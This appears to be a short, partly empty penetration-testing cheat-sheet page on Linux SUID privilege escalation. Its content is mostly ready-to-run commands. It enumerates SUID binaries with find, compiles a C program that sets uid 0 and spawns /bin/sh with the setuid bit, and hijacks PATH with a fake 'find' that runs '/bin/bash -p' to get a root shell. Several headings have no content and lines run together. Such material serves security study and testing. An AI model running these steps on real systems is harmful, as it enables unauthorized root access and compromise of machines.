SUID Binaries
Theory
Practice
Misc SUID Binaries
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -perm -4000 -type f 2>/dev/nullprint 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bitNo Command Path Exploit
strings ./the-suid-bin
...
find
...echo '/bin/bash -p' > /tmp/find
chmod +x /tmp/find#Sudo with modified PATH
export PATH=/tmp:$PATH
./the-suid-binFunctions Export Exploit - Full Path Binary
Shared Library Hijacking
References
Last updated